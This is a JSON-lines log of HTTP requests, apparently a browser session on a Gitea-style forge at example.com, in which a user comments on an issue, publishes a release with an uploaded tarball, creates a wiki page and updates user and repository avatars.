{"method": "POST", "target": "/alice/tools/issues/1/comments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 163", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuLA6czyWTpPLGhxN", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryuLA6czyWTpPLGhxN\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThanks, I can see it too.\r\n------WebKitFormBoundaryuLA6czyWTpPLGhxN--\r\n"}
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 55", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1%23issuecomment-1"}
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/releases/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygH3DxdI69SJCwZ2b", "Origin: http://example.com", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarygH3DxdI69SJCwZ2b\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tools-linux-amd64.tar.gz\"\r\nContent-Type: application/gzip\r\n\r\neJwryc/PKVZIysxLLKosGQFsAIkDYLk=\r\n------WebKitFormBoundarygH3DxdI69SJCwZ2b--\r\n"}
{"method": "POST", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 261", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tag_name=v1.1.0&tag_target=main&title=Version+1.1.0&content=Faster+builds.&attachment-template-new-name=&attachment-template-new-exturl=&files=a637a7ba-b419-4ec3-8c33-1c119e93bc14&files_fullpath%5Ba637a7ba-b419-4ec3-8c33-1c119e93bc14%5D=tools-linux-amd64.tar.gz"}
{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Getting+started&content=Clone+the+repository+and+run+the+build.&message="}
{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/?action=_pages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/user/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR5Mv0yttLbvaY13B", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryR5Mv0yttLbvaY13B\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAIAAADYYG7QAAAQJ0lEQVR4nBXXrbpFUBSG0V0URVEURVEURVEURVEURVEURXmLoiiKoiiKoiiKoiiKoiiKoriJ47iC8Vjz55u/3w/hh/hD+iH/UH6oP7Qf+g/jh/nD+mH/cH64P7wf/o/gR/gj+hH/SH6kP7If/Mh/FD/KH9WP+kfzo/3R/eh/DD/GH9OP+cfyY/2x/dh/HD/OH9eP+8fz4/3x+wkIAqKAJCALKAKqgCagCxgCpoAlYAs4Aq6AJ+ALBAKhQCQQCyQCqUAmgEAuUAiUApVALdAItAKdQC8wCIwCk8AssAisApvALnAInAKXwC3wCLzCBxIRREQRSUQWUURUEU1EFzFETBFLxBZxRFwRT8QXCURCkUgkFklEUpFMBJFcpBApRSqRWqQRaUU6kV5kEBlFJpFZZBFZRTaRXeQQOUUukVvkEXnFDyQhSIgSkoQsoUioEpqELmFImBKWhC3hSLgSnoQvEUiEEpFELJFIpBKZBBK5RCFRSlQStUQj0Up0Er3EIDFKTBKzxCKxSmwSu8QhcUpcErfEI/FKH0hGkBFlJBlZRpFRZTQZXcaQMWUsGVvGkXFlPBlfJpAJZSKZWCaRSWUyGWRymUKmlKlkaplGppXpZHqZQWaUmWRmmUVmldlkdplD5pS5ZG6ZR+aVP5CCoCAqSAqygqKgKmgKuoKhYCpYCraCo+AqeAq+QqAQKkQKsUKikCpkCijkCoVCqVAp1AqNQqvQKfQKg8KoMCnMCovCqrAp7AqHwqlwKdwKj8KrfCAVQUVUkVRkFUVFVdFUdBVDxVSxVGwVR8VV8VR8lUAlVIlUYpVEJVXJVFDJVQqVUqVSqVUalValU+lVBpVRZVKZVRaVVWVT2VUOlVPlUrlVHpVX/UAagoaoIWnIGoqGqqFp6BqGhqlhadgajoar4Wn4GoFGqBFpxBqJRqqRaaCRaxQapUalUWs0Gq1Gp9FrDBqjxqQxaywaq8amsWscGqfGpXFrPBqv9oF0BB1RR9KRdRQdVUfT0XUMHVPH0rF1HB1Xx9PxdQKdUCfSiXUSnVQn00En1yl0Sp1Kp9ZpdFqdTqfXGXRGnUln1ll0Vp1NZ9c5dE6dS+fWeXRe/QMZCAaigWQgGygGqoFmoBsYBqaBZWAbOAaugWfgGwQGoUFkEBskBqlBZoBBblAYlAaVQW3QGLQGnUFvMBiMBpPBbLAYrAabwW5wGJwGl8Ft8Bi8xgcyEUxEE8lENlFMVBPNRDcxTEwTy8Q2cUxcE8/ENwlMQpPIJDZJTFKTzAST3KQwKU0qk9qkMWlNOpPeZDAZTSaT2WQxWU02k93kMDlNLpPb5DF5zQ9kIViIFpKFbKFYqBaahW5hWJgWloVt4Vi4Fp6FbxFYhBaRRWyRWKQWmQUWuUVhUVpUFrVFY9FadBa9xWAxWkwWs8VisVpsFrvFYXFaXBa3xWPxWh/IRrARbSQb2UaxUW00G93GsDFtLBvbxrFxbTwb3yawCW0im9gmsUltMhtscpvCprSpbGqbxqa16Wx6m8FmtJlsZpvFZrXZbHabw+a0uWxum8fmtT+Qg+AgOkgOsoPioDpoDrqD4WA6WA62g+PgOngOvkPgEDpEDrFD4pA6ZA445A6FQ+lQOdQOjUPr0Dn0DoPD6DA5zA6Lw+qwOewOh8PpcDncDo/D63wgF8FFdJFcZBfFRXXRXHQXw8V0sVxsF8fFdfFcfJfAJXSJXGKXxCV1yVxwyV0Kl9KlcqldGpfWpXPpXQaX0WVymV0Wl9Vlc9ldDpfT5XK5XR6X1/1AHoKH6CF5yB6Kh+qheegehofpYXnYHo6H6+F5+B6BR+gRecQeiUfqkXngkXsUHqVH5VF7NB6tR+fRewweo8fkMXssHqvH5rF7HB6nx+Vxezwer/eBfAQf0UfykX0UH9VH89F9DB/Tx/KxfRwf18fz8X0Cn9An8ol9Ep/UJ/PBJ/cpfEqfyqf2aXxan86n9xl8Rp/JZ/ZZfFafzWf3OXxOn8vn9nl8Xv8DBQgBYoAUIAcoAWqAFqAHGAFmgBVgBzgBboAX4AcEAWFAFBAHJAFpQBZAQB5QBJQBVUAd0AS0AV1AHzAEjAFTwBywBKwBW8AecAScAVfAHfAEvMEHChFCxBApRA5RQtQQLUQPMULMECvEDnFC3BAvxA8JQsKQKCQOSULSkCyEkDykCClDqpA6pAlpQ7qQPmQIGUOmkDlkCVlDtpA95Ag5Q66QO+QJecMPFCFEiBFShByhRKgRWoQeYUSYEVaEHeFEuBFehB8RRIQRUUQckUSkEVkEEXlEEVFGVBF1RBPRRnQRfcQQMUZMEXPEErFGbBF7xBFxRlwRd8QT8UYfKEaIEWOkGDlGiVFjtBg9xogxY6wYO8aJcWO8GD8miAljopg4JolJY7IYYvKYIqaMqWLqmCamjeli+pghZoyZYuaYJWaN2WL2mCPmjLli7pgn5o0/UIKQICZICXKCkqAmaAl6gpFgJlgJdoKT4CZ4CX5CkBAmRAlxQpKQJmQJJOQJRUKZUCXUCU1Cm9Al9AlDwpgwJcwJS8KasCXsCUfCmXAl3AlPwpt8oBQhRUyRUuQUJUVN0VL0FCPFTLFS7BQnxU3xUvyUICVMiVLilCQlTclSSMlTipQypUqpU5qUNqVL6VOGlDFlSplTlpQ1ZUvZU46UM+VKuVOelDf9QBlChpghZcgZSoaaoWXoGUaGmWFl2BlOhpvhZfgZQUaYEWXEGUlGmpFlkJFnFBllRpVRZzQZbUaX0WcMGWPGlDFnLBlrxpaxZxwZZ8aVcWc8GW/2gf4PmO9k+EL6F4u/IPpFvy9sffHmCxTfCv+W5remvsXwjeJv+H3j5mvwr6W+Iv7K5nuo79d8mP8vhwJKqKCGBlrooIcBRphghgVW2GCHA0644IYH3u+8++UIOWKOlCPnKDlqjpaj5xg5Zo6VY+c4OW6Ol+PnBDlhTpQT5yQ5aU6W/3PynCKnzKly6pwmp83pcvqcIWfMmXLmnCVnzdly9pwj58y5cu6cJ+fNP1CBUCAWSAVygVKgFmgFeoFRYBZYBXaBU+AWeAV+QVAQFkQFcUFSkBZkxf/PyQuKgrKgKqgLmoK2oCvoC4aCsWAqmAuWgrVgK9gLjoKz4Cq4C56Ct/hAJUKJWCKVyCVKiVqileglRolZYpXYJU6JW+KV+CVBSVgSlcQlSUlakpX/T5WXFCVlSVVSlzQlbUlX0pcMJWPJVDKXLCVryVaylxwlZ8lVcpc8JW/5gSqECrFCqpArlAq1QqvQK4wKs8KqsCucCrfCq/ArgoqwIqqIK5KKtCKr/gsnrygqyoqqoq5oKtqKrqKvGCrGiqlirlgq1oqtYq84Ks6Kq+KueCre6gPVCDVijVQj1yg1ao1Wo9cYNWaNVWPXODVujVfj1wQ1YU1UE9ckNWlNVv+XcV5T1JQ1VU1d09S0NV1NXzPUjDVTzVyz1Kw1W81ec9ScNVfNXfPUvPUHahAaxAapQW5QGtQGrUFvMBrMBqvBbnAa3AavwW8IGsKGqCFuSBrShqz5b6q8oWgoG6qGuqFpaBu6hr5haBgbpoa5YWlYG7aGveFoOBuuhrvhaXibD9QitIgtUovcorSoLVqL3mK0mC1Wi93itLgtXovfErSELVFL3JK0pC1Z+9/ieUvRUrZULXVL09K2dC19y9Aytkwtc8vSsrZsLXvL0XK2XC13y9Pyth+oQ+gQO6QOuUPpUDu0Dr3D6DA7rA67w+lwO7wOvyPoCDuijrgj6Ug7su5/4OQdRUfZUXXUHU1H29F19B1Dx9gxdcwdS8fasXXsHUfH2XF13B1Px9t9oB6hR+yReuQepUft0Xr0HqPH7LF67B6nx+3xevyeoCfsiXrinqQn7cn6//GX9xQ9ZU/VU/c0PW1P19P3DD1jz9Qz9yw9a8/Ws/ccPWfP1XP3PD1v/4EGhAFxQBqQB5QBdUAb0AeMAXPAGrAHnAF3wBvwB4KBcCAaiAeSgXQgG/6HcT5QDJQD1UA90Ay0A91APzAMjAPTwDywDKwD28A+cAycA9fAPfAMvMMHGhFGxBFpRB5RRtQRbUQfMUbMEWvEHnFG3BFvxLine truncated
{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DYour%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykD1bO7T1SED3rJ5v", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarykD1bO7T1SED3rJ5v\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Brepository%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
